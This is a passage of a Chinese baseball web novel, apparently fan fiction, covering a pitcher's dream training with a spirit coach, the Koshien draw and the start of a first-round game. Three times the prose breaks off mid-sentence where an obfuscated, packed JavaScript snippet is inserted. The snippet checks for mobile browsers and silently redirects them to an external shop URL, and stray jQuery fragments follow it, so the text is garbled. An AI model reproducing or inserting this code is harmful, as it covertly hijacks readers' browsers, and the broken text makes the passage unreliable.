「但一场有价值的特训能帮助你走得更远。」 绫濑川向前几步,目光灼灼:「你的直球才是最重要的,所以现阶段,只要完善你的变速球,让变速球与直球的球速差真正能够达到威胁所有打者的地步。」 完善变速球确实是白鸟的需要的,他眼睛一亮。 但很快白鸟又冷静下来:“就算我的变速球能在一晚上突破到职业级,可我的体力也无法在一晚上迎来质的改变。” 是的,说到底白鸟并不信任现在的投手阵,他喜爱这支队伍,和他不信任投手阵并不冲突。 克里斯前辈的伤怎么来得,他当时作为正捕手带领着青道投手阵所面对的压力所有人都一清二楚。 如果可以,白鸟恨不得化身金刚不坏之身,所有比赛都亲自上场。可这样的想法绝不能对青道的任何人说。 绫濑川勾起嘴角:「节奏。」 白鸟微微眯起眼睛。 「掌控自己的投球节奏、掌控打者的节奏、掌控整个球场的节奏……在你和稻城实业的决赛中,你明明已经开始尝试这么做了。变速球是个好武器,而完善的变速球足够你获得喘息的空间。」 「这种空间自然是越大越好不是吗?」 “就一个晚上?” 「就一个晚上!」 *** “你好像没睡好?”御幸此时已经洗漱完开始换衣服了,他觉得怪稀奇的,这还是他第一次比白鸟起得还早。 白鸟打了个呵欠,他迷迷糊糊打开水龙头,双手鞠起一捧水扑在脸上,清凉的水冲走了一部分困意:“额……与其说没睡好,不如说是睡得太好了。” 昨天晚上,他与绫濑川说罢便回了房间,那时御幸正捧着白鸟给他的平板看录像。 “回来了?”他头也不回道。 白鸟不知为何有些心虚,于是只短短回了一个字:“嗯。” 绫濑川瞥了一眼平板上的比赛,便不感兴趣地开始催促白鸟赶紧上床睡觉,他的特训要在白鸟特殊的梦境里完成。 梦里的经验怎么带进现实?练习变速球更多需要保持手感吧? 「哎呀,你放心,我说行就行。」绫濑川飘在白鸟身后推着他。 这家伙都能以灵魂之身来见他了,能做到这种稀奇事似乎也不值得惊讶。 「我还要洗澡!」白鸟满头黑线。 路过御幸时,白鸟注意到御幸的头发半干,显然已经洗漱过了。 一股淡淡的薄荷清香弥漫在空气中。 熟悉的味道让他心安,原本因为今日的各种事情而毫无睡意,还在烦恼如何才能快速进入睡梦进行特训的白鸟,在此刻竟突然感到些许困倦。 敏锐感知到白鸟心情的变化,绫濑川头一次认真观察了御幸一会儿。 天赋惊人的棒球选手他一路遇见过不少,因此就算因为某种特殊途径知道白鸟身边的这些人的情报,他也没有将御幸放在眼里。 绫濑川对捕手的观感微妙,因此很反感白鸟将所谓的信任都寄托在御幸那里,连带着对“骗取”白鸟信任的御幸都怀有偏见。 哼,捕手。 白鸟并不清楚这一小会儿绫濑川恶劣的心情,他只是心情愉快地重新打开棒球包拿出换洗衣物和洗漱用品。 在他弯腰拿东西的时候,背后的御幸转过身胳膊架在椅背上,目光穿过绫濑川落在白鸟身上,见投手身上已经没了那股奇怪的迷茫,他弯眉一笑,又重新转回身看向平板。 这时的状态无疑比刚刚更多了几分专注。 而这短暂的一转身,被房间里并不存在的第三人尽收眼底。 绫濑川冷眼看着,揪着白鸟赶紧去洗澡去了,灵魂体不占空间也跟着挤了进去。 「我洗澡你当然要出去了!」 绫濑川倚在墙上:「都是男人怕什么,我有话要说呀。」 有什么话非得洗澡的时候说。白鸟没办法,他又碰不到绫濑川,只能无奈脱衣服洗澡。 水声稀里哗啦地在浴室狭窄的空间中响起,雾气氤氲,绫濑川抱臂而立,眼珠在白鸟肩膀的地方打转,因为没有看见某种熟悉的痕迹,他放松了些许。 「你有想过投球时改变姿势吗?」 白鸟往头上挤洗发水的动作一顿,现在开始投球教学? 绫濑川当然读到了白鸟的无语,但他才不在乎,心情突然变好,语调也上扬了:「以你现在的身体素质,也不是不能用这种方法,如果一天只用一两次的话。」 「贸然改变投球姿势会影响控球,我不会在甲子园期间尝试这个方法。」 「哼,随便你。但是在梦里无所谓吧。」绫濑川不死心。 「好好好。」白鸟注意到了绫濑川的目光,但是他习惯青道的大浴池泡澡后,已经能在洗澡时面对他人的目光时面不改色了。 以他这个想一出是一出的性格,白鸟在梦里真是被这个半吊子教练填鸭般教了一大堆东西,事实证明球投得好不一定教人也教的好,后面在梦里,与其说是在特训,不如说是陪着绫濑川乱来。 后面绫濑川居然具象出了几个人,让两人展开了一场别出心裁的对决。 “这都是谁?”白鸟满头问号。 “你之后都会认识的,尤其是他。”变回高中生样子的绫濑川笑眯眯的,脸蛋圆圆,眼睛圆圆像是猫咪,唯独个子依旧令人仰望。 他就像在介绍令自己尤为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808074|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骄傲的后辈般抬手示意白鸟去看一个打者。 拿着球棒站在打击区的打者有着粗而短的眉毛,下垂眼,眼神专注,见绫濑川和白鸟看过来,沉默地点了下头。 白鸟歪歪头,投手本能告诉他,这是个与东前辈、结成前辈一样的强大的对手。 明明看上去身材普通,脸也嫩,对上视线时却有种令人毛骨悚然的感觉。 他看着白鸟,那一刻强烈的存在感就像让他在梦中突然活了过来,是绫濑川对这个打者的深刻记忆,让他在梦里鲜活起来。 这让白鸟相当好奇。 能让绫濑川觉得强大的打者,究竟是什么样的人? 白鸟还以为绫濑川会让那个神秘打者与他对决,但下一刻那人就消失了。 绫濑川轻描淡写道:“还不是时候。” “我们来玩这个!” 于是,在梦里几乎过了好几天的白鸟,在第二天困得几乎起不来也是可以理解的。 绫濑川就像他说的已经消失不见,他们在梦里玩得很开心,像是要把失去的时光一并补回来,白鸟心甘情愿跟着他一起胡闹。 怀揣着对绫濑川所说奇迹的猜测,白鸟觉得之后的每一天都足够让他期待。 今天是甲子园开幕与抽签的日子。 大巴到达阪神甲子园时所有人都很激动,梦想的大门已经为他们打开,所有人都满怀期待,想要在此走得更远,想要得到那个最高的荣誉。 预选赛时只是想要进入甲子园,进入甲子园之后自然就会燃起对冠军的野望。 有野心的人才能走得更远。 进入18人名单的人中没有川上和仓持,本来川上在甲子园前夕进入一军让几乎所有人都以为他会代替水谷的位置。 但教练组出于某种考虑,终究还是没有做出这个决定。 川上倒是没失望,他甚至松了口气,以他在预选赛一次场都没上过的情况下代替前辈的位置进入甲子园,那真是压力山大。 仓持则是因为赛事经验原因,18人中的一年级已经足够多了,在他与楠木前辈之间,片冈监督选择了比赛经验更加丰富的楠木前辈作为村田前辈的替补。 虽然遗憾,但是白鸟认为他和仓持还有许多时间,之后他们也一定能进入甲子园,那时仓持也一定是其中一员。 仓持面对白鸟的笃定并没有多说什么。 小凑亮介将其眼中的不甘都尽收眼底,笑眯眯道:“想要知道怎么才能成为更加优秀的游击手吗?” “想!”仓持虽然害怕这个笑面虎学长,但熊熊燃烧的不甘让他咬牙与其坚定对视。 “呵。”小凑意味不明地笑了一声。 直到出发去甲子园之前,白鸟发现原先躲着小凑前辈走的仓持突然就和其一起出现的概率变大了起来。 虽然每次都是一脸虚脱,但精神却变得好了很多。 开幕典礼时,东清国昂首挺胸地举着青道的旗子走在最前方。 流程和预选赛开幕式大差不差,只是规模更加盛大,那些平日里见不到豪强学校一个个出现,踏上那所谓的甲子园泥土的刹那,白鸟看见很多学长眼眶都有些泛红。 他低头看着脚下与其他球场没有太大差别,只是看着更加细腻的黑色泥土,明白特殊的不是泥,而是所有人寄托在上面的梦想。 他胸口有些发闷,深吸了一口气。 梦想…… 如果是在这里,如果是在这个队伍,那他也能说自己拥有了一个小小的梦想。 我想要让所有人知道青道究竟是一个多好的队伍! 我想要……带领这支队伍。 获得所有的胜利! 53.抽签 抽签会是大家一起去的。 这次抽签,村田压着东清国去特地去洗了手,就算甲子园的赛程无论怎么样都很恐怖,他们也不想拥有第一局碰上西邦,第二局碰上横滨,第三局碰上清正社这样的魔鬼中的魔鬼赛程。 会议在一个小礼堂中举行,记者来得依旧多,还好体育赛事的记者几乎不开闪光灯,深红色的大厅容量巨大。 来参加抽签会的学校陆陆续续的入场,青道的位置不前不后,但他们进场时收获了几乎最多的目光。 许多窃窃私语飘进白鸟耳朵里。 “这就是那对一年级的投捕?” “真好啊,一年级就能进入甲子园,还是队伍的正选。” “新闻是不是太吹捧他们了,那些徒有虚名的家伙我们又不是没见过。” 白鸟都有些习惯了。 但这些窃语与目光中,有三道格外的与众不同,他看过去。 一个是美马总一郎,他在白龙高中的位置上站着,显然是在等他,见到白鸟望过来点了点头算打过招呼,就坐下了。 想着前几天两人的聊天记录,白鸟脸上带了几分笑意。 第二道目光来自帝东,帝东的队伍都是些熟人,八木见白鸟注意到他,迅速挥了挥手,然后翘着大拇指比了个赞。 而第三个人就有些特殊了,如果说前面两个是朋友和对手。 那这个人白鸟就从未见过。 不,这么说有些不严谨,应该是除却录像外从未见过。 那是清正社的王牌投手柚木泽界人。 来自大阪的柚木泽有着黑黑的皮肤和灰白色的头发,有些特殊的浅发黑肤形象让他的存在区别于旁人变得显眼。 他同样站着直直望着白鸟的方向,但相异于前两者的友善,这道目光有些刺人。 白鸟不明所以。 而柚木泽旁边的人拽住他的肩膀将他转了回去,无奈道:“行了,看也看过了。” 柚木泽冷哼一声:“池田说的就是他吧。” 清正社的正捕手桐生明皱起眉头:“你少和池田昂来往,那人心思不正,很难说他说的究竟是真是假。” “他没事骗我干嘛?”柚木泽反驳。池田是他的同班同学,同时两人一起加入了清正社的棒球社,不过两人一个是一军的王牌投手,一个是二军的外野手。 能干的可多了。桐生暗自翻了个白眼,他对池田昂真没什么好印象,因为两人不在一个年级,池田在二军也不在一军,他们相处的时间不多,但屈指可数的几次见面池田都在和柚木泽说些有的没的。 也就柚木泽好骗,别人说什么都信。 青道入座。 村田新奇般挪挪屁股,感觉这椅子的松软程度比青道大礼堂的椅子都要特别许多。 “瞅瞅,横滨、西邦、清正社,人都围在那边呢。”阪井语气酸酸的。 “那不是很正常,这都是甲子园常客。” “你看那边。” 东清国拍了下白鸟的肩膀,示意他往某个方向看,那里围聚的人也不少,各个身材高大,皮肤是日晒的小麦色。 “那是冲绳的队伍,春甲的亚军,各个都是力量型打者,我觉得在夺冠预测的队伍里,他们打线整体对你的威胁性最高。” “还有那个,那是西邦的佐野修造,也是最近声名鹊起的强打……” 东清国给白鸟一个个介绍那些他认为会对白鸟有威胁的打者,虽然这些情报会议上都有提过,但东清国觉得还是得亲眼看看。 白鸟认真地跟着他一个个看过去。 抽签会没过多久就开始了,各个学校的队长上台坐在一起,中间主持人在台上先是说了几句场面话,紧接着就搬出了抽签箱,所有人目光都紧紧盯着那个箱子。 背板扯开露出巨大的赛事对战树状图来,那些空白的位置上写着A B,等待着抽中的学校将自己的学校名字贴在上面。 无论是豪强还是偏远地区出来的不被看好的队伍,都祈祷着自己的签运能够好一点,再好一点。 啰嗦的致辞过后,主持人终于宣布:“第87届夏季甲子园的抽签会正式开始!” 最开始先抽的就是西东京、东东京和北北海道、南北海道,这是为了避免首战就抽到同一个地区。 这么快就上场抽签让东清国汗都下来了,站上打击区的时候他都没有这么紧张。 “你确定东出门前洗手了吧?”增田表情凝重。 村田点点头,严肃道:“我可是一路监督,今天让他洗了起码3次手。” 手都快洗秃噜皮了吧。增田想到东憋屈又无奈的样子有点想笑。 但……洗手真的有用吗??? 抽签结束,青道众人还有些回不过神,他们看着对战表,一回战VS冲绳励学……上一届春甲的亚军,东清国你是认真吗? 连片冈监督的嘴角都抽搐了起来, 好在他们和清正社与西邦并不在一个小组,不会面对一回战、二回战、三回战直接打春甲前三的绝望。 “……”东清国不敢面对大家的目光,低着头悄悄溜进队伍。 明天就要打冲绳励学了,真想赶紧回去开会,奈何东清国还要和冲绳励学的队长拍个握手的合照。 冲绳的队长是个高高壮壮的肌肉男,眦着一口大白牙就来了。 “幸会幸会呀~” 另一边,白鸟被不速之客找上了,柚木泽不顾桐生的阻拦站在了白鸟面前。 他用很失礼的眼神打量了白鸟几眼:“你就是青道的王牌白鸟京吧。” “希望你能在甲子园的赛场上站在我的面前,不要让我连亲自打败你的机会都不给我。” 不像是正常的宣战。 御幸的眉头皱起。 白鸟倒是早有所料,毕竟刚刚柚木泽的目光就不是很友善。 他只是疑惑,又没见过,哪里来的恶意?这么想着他也就直接问了:“柚木泽前辈,我们有什么过节吗?” 柚木泽微微一愣,这和他想象中的反应不一样,他还以为白鸟会是个更傲慢不知礼数的家伙,毕竟在池田的描述中就是这样的。 “……”这下不就像他才是那个恶霸了吗?! 桐生一下子就知道柚木泽尬在那里了,这家伙总这样! “不好意思,界人他不会说话,我们只是很期待和青道的比赛。”桐生立刻出来打圆场。 看着这对一唱一和的投捕,白鸟微微眯起眼睛:“我也很期待和柚木泽前辈的对决。” 这句话倒是在柚木泽的想象里:“我会为池田报仇的。” 一个意想不到的名字突然出现,这个姓氏不算稀奇,可他认识的在大阪打棒球的池田就只有一个。 白鸟这下恍然大悟,池田是他国中青少棒队伍里比他高一年级的队友, 他的厌恶带到脸上被柚木泽尽收眼底,就像抓到了把柄一般柚木泽气势迅速回升:“哈,你还记得池田,那想必也还记得当初青少棒时对他做过的糟糕的事情吧?” “柚木泽前辈,有时候一面之言并不是真相,我觉得年长我一岁的你应该更成熟一些才对。”白鸟并不想争辩。 对于已经心中认定虚言的人,说再多都会让他觉得你在狡辩,他拿不出驳斥的证据,也不想对不在乎的人多言,索性一句话将其架起来。 闻言柚木泽果然被噎住,他瞪着白鸟不知道该怎么回话,总不能承认说自己确实听了一面之言或者他其实不成熟吧。 桐生倒是因此对白鸟有些欣赏,面对柚木泽这样单纯一根筋的傻瓜,争辩是最没用的。 出师不利的柚木泽明白了,论嘴皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823108|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子他是比不过白鸟的,于是闭嘴转身就走。 无论是来还是走,都风风火火的。 桐生真是无奈了,只能再次抱歉,然后紧跟着柚木泽离开了。 白鸟陷入沉思,看来池田昂在青少棒毕业后加入了清正社的棒球社,以那人的棒球技术和不务正业的表现来推测,二军三军没跑了。 看来他喜欢散播谣言的行为到了高中也没有收敛的意思。 御幸揽住白鸟的肩膀:“别放在心上。” 白鸟笑了笑:“他人之言而已。” 他从来不在乎这些陌生人的看法,就是池田口香糖似得,都已经不在一个学校了还不安分,让人有点恶心。 “池田就是那群人之一?”御幸显然想起了白鸟曾和他提过的青少棒中的糟糕回忆。 白鸟点点头:“他是高我一个年级的前辈,是个外野手,也没有位置竞争,不知道为什么在队里看我相当不顺眼。” 各种造谣挑拨他和队友的关系,白鸟最后被孤立,池田起码占百分之六十的“功劳”。 “原因想不明白也很正常啦,你和他又不一样。”御幸少棒时期也被霸凌过,和白鸟面对的冷暴力和语言暴力不一样,是更直接的肢体霸凌。 两人也算难兄难弟了。 不知道池田又想干什么,但是他们之间的距离不只有地方,也有棒球上的,在这个赛场上,他们也许永远都不会再见了。 在一旁关注着的村田见清正社的人走了,便懒懒散散走了过来。 “认识?” “不认识。不过不用在意,村田前辈。”白鸟弯起眉眼,眸中闪烁着奇异的光彩,这个笑容和绫濑川某些时刻的笑容有着微妙的相似。 可惜这里所有人中只有当事人认识绫濑川,自然没人发现这点小小的默契。 村田耸耸肩,不知为何有点欣慰:“好吧,我们要准备走了哦。” “好——”两人应下。 白鸟最后看了一眼白龙的方向。 浅野拍拍美马的肩膀:“你不去找朋友吗?甲子园后面很忙,可没空去见面。” 美马面无表情:“为什么要去,我们有这个。”他举起手机。 额……这能一样吗?? 美马却觉得没什么不一样,白鸟已经不是当初那个孤独的投手了,他觉得现在不用再担心,自然也没有总是见面的必要。 像现在这样,两人都能快乐地追逐棒球就好。 而白鸟和美马来甲子园前通讯过,两人约了甲子园结束后的聚餐,自然也不急于一时相见,现在比起朋友他们更想好好做对手。 “真的吗?” 一间病房中,绫濑川的声音低哑,他坐在一张床边,低着头。 一个身影依靠在抬起的床头,那人看着窗外白雪纷飞的景象有些出神,过了好一会儿才说话:“真的,我已经不在意了,这样就好,就算我一辈子再也不能打棒球,能看见你活跃在球场上,我就很开心了,绫。” 绫濑川一拳锤在床边发出巨大的声响,他深呼吸好几次才道:“为什么要这么说!为什么你和大和总要一个个的抛弃我……” “这不是抛弃。”那人叹了口气,“你身上承载着我们的希望。” “希望?”绫濑川讽刺一笑,眸光闪烁,眼眶微微泛红。 “如果没有你们,你觉得棒球之于我还有什么意义?”他看着那只搁置在床边的苍白的手,突然伸手握住,像是在抚摸艺术品般珍惜地抚摸过每一寸肌骨。 “不过,我找到了方法。”绫濑川笑起来,他举起那只手靠在额头上,影藏在阴影中的表情兴奋地双颊泛红,他眼眶还红着,金色的眼珠宛如窥见猎物的野兽。 “我们还有重来的机会,这一次……一切都会不一样的。” “是上上签。” 54.一回战·冲绳励学(1) “时隔4年,青道高中终于突破了西东京的激烈角逐,来到了甲子园。” “那时青道高中的带队监督还是榊监督呢,现在青道的片冈监督则是榊监督的弟子,同时也是曾经甲子园的四强投手!师傅与弟子的接力,也是一桩美谈啊!” “而对面的冲绳励学高中则是冲绳地区绝对的王者,曾多次打进甲子园,春甲时也是获得了准优胜的好成绩,是此次夏甲冠军强有力的竞争者。” “他们队伍的先发名单与春甲时一般无二,经历了与冠军咫尺之遥的春甲,想必他们对夏甲冠军势在必得。” 随着转播员的声音响起,镜头切换到青道的板凳席,身着白色球衣的队员们正在其中做着最后的准备,人影攒动中画面定格在一个正弯腰系着鞋带的人身上。 镜头拉近,那人直起身,蓝色的棒球帽沿下露出一双仿佛被阳光熔炼过的金色眼睛。 “哦哦这就是最近很火得那对一年级投捕中的投手,白鸟京对吧?” “没错,作为一年级就能将快速球投到150KM/H+这位少年可是已经开始引起职棒的关注了。” “在棒球王国的专访发出后,他们作为豪强主力投捕一年级就进入甲子园的战绩,迅速火遍全国。” 一个戴着防风镜的棕发少年进入镜头,两人凑在一起说了什么,然后齐齐露出一个笑容,意气风发。 赛场上,青道的板凳席气氛不错,难以看出昨天所有人开会时都紧张到窒息。 好不容易来到了梦想中的甲子园,谁都不想一回战就打道回府,可春甲准优胜的名头又如山般沉甸甸压在所有人的心头。 想起昨天和御幸、克里斯前辈一起慎重考虑过的配球,白鸟觉得心脏扑通扑通跳得很快,这让他觉得克里斯前辈正和他一起站在赛场之上。 自他来到青道,他还从未和克里斯前辈一起在赛场中搭档过,也许再过不久,等克里斯前辈的伤痊愈,他就能再次在赛场上见证东京第一铁捕的风采了。 克里斯正以经理的身份呆在板凳席上,他散着头发,气质比起之前背头的样子柔和了很多,他望着甲子园嘈杂又广阔的场地,那里的阳光近在咫尺,明亮到让他几近落泪。 这一刻,他下意识伸手抚摸受伤的肩膀,他的棒球之路还在继续延伸,真是太好了。 伴随着防空警报,甲子园一回战青道高中VS冲绳励学高中即将开始。 两边的队员小跑上场列队鞠躬。 一垒侧青道高中 三垒侧冲绳励学高中 由青道先攻,冲绳励学防守,冲绳的先发投手是他们的王牌一号,三年级的右投金城光太郎,高大黑壮的投手站在投手丘上宛如一座小山,投出来的球却异常精巧。 球速不算高,边角球的控球却很优秀,加上指叉球和滑球也是横纵变化球具有,在青道的研究中他的意志力和心态都是顶级的,曾有过被击出全垒打后,依旧冷静地解决后续打者没有再失分的记录。 “两校都是王牌先发啊。” “没错。面对甲子园,每个学校都不想有任何疏忽,只有拼尽全力,才能坦然面对自己这么多年的汗水吧。” “冲绳励学高中的先发投手,是目前连职棒都为之瞩目的ACE金城光太郎君,捕手是仲宗根拓也君。” 这次比赛,白鸟排在9棒,为了紧凑的赛程考虑,他需要将心神全放在投球上。 但这也不意味着他打击就摆烂了,之前教练组就发现下位打线的连接性很差,把白鸟放在这里也能起到一个承上启下的作用。 上位打线很多时候需要积极盗垒,一般的队伍不把投手放在中心打线也是为了降低投手扑垒时的受伤风险。 目前的阵容已经是青道攻击、防守的顶配了: 一棒村田光游击手 二棒小凑亮介二垒手 三棒伊佐敷纯中坚手 四棒东清国三垒手 五棒结成哲也一垒手 六棒加藤间太郎右外野手 七棒御幸一也捕手 八棒阪井一郎左外野手 九棒白鸟京投手 金城光太郎看着村田光,想起昨晚的投捕会议:这个打者很擅长盗垒带起青道的攻击节奏,绝不能让他上垒。 我们都是Mitsu(光)呢……金城想着些有的没的,活动了一下脖子,他紧盯着捕手的手套,快速让自己进入状态。 村田戴着打击头盔的地方已经开始流汗,一半是热的,一半是紧张,甲子园的准优胜投手,就让我看看,你的投球与我往日见到的投球究竟有何差距? 我们的队伍未能打入甲子园的那些失败日常,究竟在此与你们有着怎样的距离? “呯!” 第一球就挥棒?!冲绳的捕手紧紧盯着那颗倒飞出去的小球,见其方向势必落在界外,陡然提起的心霎时又落了回去。 这个一棒打者明明以他的研究来看是个谨慎至极的人,面对第一球选择目送的概率在70%,甲子园一回战的第一个打席,应该会更慎重才对,为什么会毫不犹豫地挥棒? 冲绳捕手仲宗根眯起眼睛。 村田集中精神,静待第二球的到来,白光如线直奔本垒。 又是内角球低位球?! 村田屏息运气,扭腰转胯,球棒挥舞出“呼呼”风声,小球突入好球带前突兀下落,避过球棒落进捕手的手套。 “Strike!” 一记指叉球完美欺骗了村田的眼睛。 这颗指叉球的质量极高,在村田面对过的这么多投手中堪称第一。 转播员:“哦哦哦,金城选手的指叉球很漂亮呢,比起春甲时似乎又进步了。” “没错,这颗指叉球曾三球三振了西邦的四棒打者佐野修造,是一颗完成度很高的变化球,不知道青道的打者面对这颗指叉球该如何解决呢?“ 村田微微皱眉,果然比录像中更可怕。 见村田第二棒也挥得毫不犹豫,仲宗根立刻调整了配球,边角球的坏球交叉好球,将村田淘汰。 小凑亮介又是截然不同的风格,他眼力极佳,若不想被他纠缠只能直接对决。 仲宗根游刃有余。 “果然,我们也被对方研究透彻了。”白鸟抛着手上的棒球。 克里斯点点头,手下笔记不停:“冲绳的捕手仲宗根是个很缜密的捕手,面对每个打者他应该都有2-3种方案随时调整。” 白鸟咋舌。 虽然是对手,但是克里斯对于这种类型的捕手还是很欣赏的,他自己就是个喜欢做很多配球筹备的捕手。 笔尖在纸上点了点,克里斯看着小凑被淘汰:“他和御幸截然相反,但就像昨晚说的,想要打中金城的指叉球,与其花好几个打席去适应,不如抓准这个捕手的习惯来下手。” 青道为这对投捕量身定制了一个陷阱,希望能在此次比赛中起到意想不到的作用。 冲绳板凳席的监督面对金城和仲宗根的优秀发挥赞许地点点头。 面对青道他们半点都不能大意。虽然针对这个所谓的“没落豪强”外界众说纷纭,但是作为一个老练的监督,冲绳监督明白青道极具威胁性,不论是实力还是舆论,青道都不可小觑,第一签抽中青道是个标准的下下签。 青道想要崛起,可决不能是他们冲绳沦为这个踏脚石。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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仲宗根没准备第一局就对上东清国,但计划不如变化快,上垒不可怕,重要的是不能让后续的打者得分。 “青道有名的打线真是让人在开局就为金城君捏一把汗啊,青道的三棒伊佐敷君挥棒相当豪迈呢,先发制人第一球就击中了球心,登上了一垒的垒包。” “而下一棒,东清国君也是高野有名的强打者,据说在他手上,全垒打数比一般打者的安打数量还要高。” “没错,他的全垒打数量今年已经来到了惊人的34次!不仅是青道的主将,也是青道强大的四棒打者!” 第一球果不其然是指叉球,但东清国并未挥棒,这球的球路很低,进本垒后的下坠掉出了好球区。 捕手接住球后突然站起将手套中的棒球换到右手扔向二垒,棒球在内野的泥地上坠落,经历了一次弹跳才进入二垒手的手套,在冲绳的二垒手触碰到伊佐敷前,伊佐敷已经碰到了二垒的垒包。 裁判张开双臂:“Safe!” “哦哦哦哦哦哦哦!”阿尔卑斯席的一垒侧传来震耳欲聋的欢呼声。 “青道的三棒伊佐敷君盗垒成功!将一垒安打推进至二垒,让青道得分的机会变得更大了!!” “伊佐敷好样的!!!”板凳席中楠木大喊。 蹲在打击准备区的结成眼中露出了笑意。 “纯这家伙很兴奋啊。”小凑勾起嘴角,作为和伊佐敷结成一起杀出重围,在所有人不看好中得到先发位置的三人组,他们间的感情相当深厚,打打闹闹,形影不离。 小凑嘴上不说,心中也同样充满了喜悦。 伊佐敷站起来,白色的球衣上满是黑色的泥,背上的8在甲子园的蓝天下闪闪发光。 他举起拳头,在二垒上大喝一声。 东清国咧开嘴角:“这家伙。” 55. 一回战·冲绳励学(2) “干得漂亮!”太田部长忍不住挥拳,胖胖的身躯激动地蹦哒了几下。 作为队伍的四棒,东清国自然也不想放弃这难得的好机会,更重要的是甲子园一回战的第一局,作为准优胜投手,冲绳励学的Ace……金城光太郎,如果能把他的球打出去,那一定会是很爽快的一击吧! 金城感觉有点不爽。 但他很快便摒弃这种无用的情绪,将心神全全放在与东清国的对决上。 东清国,青道的主炮。 虽然名头响亮数据夸张,但金城也是第一次与这位强棒碰面,东京的棒球强校中,清正社只和稻城实业比较熟悉,他们在甲子园中有过对垒,春训、冬训期间彼此也约过练习赛。 所以只要将稻城实业的实力对标进战胜稻城实业的青道,金城就不会对这支第一次见面的球队放松警惕。 他侧身准备投球时,转头盯着二垒的伊佐敷看了一段时间以作威慑, 伊佐敷可不怕他,刚刚盗垒时他就发现了,冲绳捕手的阻盗球和御幸没得比,御幸从本垒传到二垒的球那是直直蹿进二垒手的手套,冲绳捕手的传球还得在内野地上进行一次弹跳。 只要他专注于投手丘和本垒的情况,在二垒的他就很难被投手牵制成功,所以伊佐敷大胆的继续离垒。 但这次被严密盯梢的他离垒幅度就小了一点,只在二三垒间持续左右横移以吸引投手的注意力。 好烦人啊。金城嘴角抽了抽。 计策是老计策,好用就行。 仲宗根深吸一口气:‘不用管他,他不敢再盗三垒。‘ 场面有些棘手,东清国和后续棒次的结成都是长打型打者,想要在他们手中制造双杀是相当困难的,这里只能切切实实的用投球压制打者。 ‘连那个佐野修造都被你压制了,光一郎,现在我们一起,扼杀他们的希望吧。’仲宗根拍拍手套。 金城点点头,看着东清国的目光更加冰冷,强打王国的主炮又能如何,我的觉悟只会比你们这支刚刚踏进甲子园大门的队伍更加强大! “第一球果然是指叉球。”克里斯喃喃道。 白鸟在一垒侧观察着那道下坠曲线,他还没投过指叉球,青道队伍里也没有会投快速指叉球的投手。 说来也怪,明明是最负盛名的霓虹变化球之王,青道的投手阵却没有一个会投的,难道是教练对这一变化球该如何学习也不清楚吗? 感觉不像,当初自己想学时,教练说的是为了他的手臂着想还不到时候。 御幸仿佛看出了他在想什么,叉腰道:“片冈监督年轻时作为甲子园投手,会投的变化球球种很多,滑球、曲球、指叉球等等都在他的武器库里。” “虽然不知道为什么前辈们没有进行指叉球的学习,但不让京你学习,就是单纯的不想给还在生长期的你增加更多手臂的负担。” 克里斯闻言也解释道:“柴崎前辈和水谷前辈也学习过指叉球的投法,但是效果欠佳,而丹波则是单纯的想先把自己曲球的优势再打磨打磨。” “有曲球作为丹波前辈最拿手纵向变化球,之后若是要学习变化球,比起指叉球还是滑球这类横向移动的变化球更好。”御幸想起丹波前辈那单薄的武器库,还有那微妙的直球,直言道。 克里斯笑笑:“你这样和丹波说的话,他更不会理你了。” 御幸面对克里斯前辈的时候还是有点不好意思的:“我的方式对丹波前辈来说也许不太喜欢,但是有时候还挺有效果的。” 那是丹波不想在后辈面前丢面子。克里斯心中叹息,但这种相处模式对于丹波竟然有意外的激励。 “……”白鸟看着冲绳投捕的又一发指叉球。 难道他们要和之前面对佐野修造一样,试图以三个指叉球来淘汰东前辈吗?这种试图将场面与过往经历重合的方式……这对投捕在尝试将青道的优势逆转为冲绳的节奏。 毕竟在创造出那个新闻的赛场,最终是冲绳励学战胜了西邦。 见证了那一切的队友在看见往事重返,对于青道第一局就上垒的紧张也会有所缓解吧……原来还可以这样。 白鸟感觉学到了不少,他真正的赛场经历还太少,如绫濑川所说,他正在试图搞明白如何去掌控球场的节奏,而这一场场比赛将会是最好的老师。 这家伙又在学习了。御幸有些汗颜地注视着白鸟的侧脸,那双眼睛在看着赛场时总有种令人毛骨悚然的感觉。 像是一只野兽,贪婪吞噬着所有于他有用的东西。白鸟总说自己和大家不一样,但御幸觉得这家伙明明有着比所有人都强烈的好胜心。 只是他人将其包裹在团队的胜利中,而白鸟则想要做最强的那个,因此他一刻也不停下脚步,一刻也不去回望被自己抛下的人生。 御幸从前不明白这份紧迫感来自何处,现在想想这大概源自白鸟错误的家庭教育。 白鸟修的价值论,尽管京嘴上并不认同,却还是如附骨之蛆般影响着他。 这是不正确的,却带来了好的效果。 就像他与丹波前辈的相处。 白鸟在进步,他也不能落后啊,御幸笑笑重新看向赛场。 御幸骨子里的掌控欲让他无法做到忽视投手的任何变化,他需要了解,需要知道该如何引导。 他需要知道白鸟的每一次皱眉,每一次摇头在赛场上意味着什么,他们需要做到了解彼此的每一点不安,知道如何解决。 在比赛时仿佛心有灵犀,这都是在一次次彼此了解中塑造的默契。 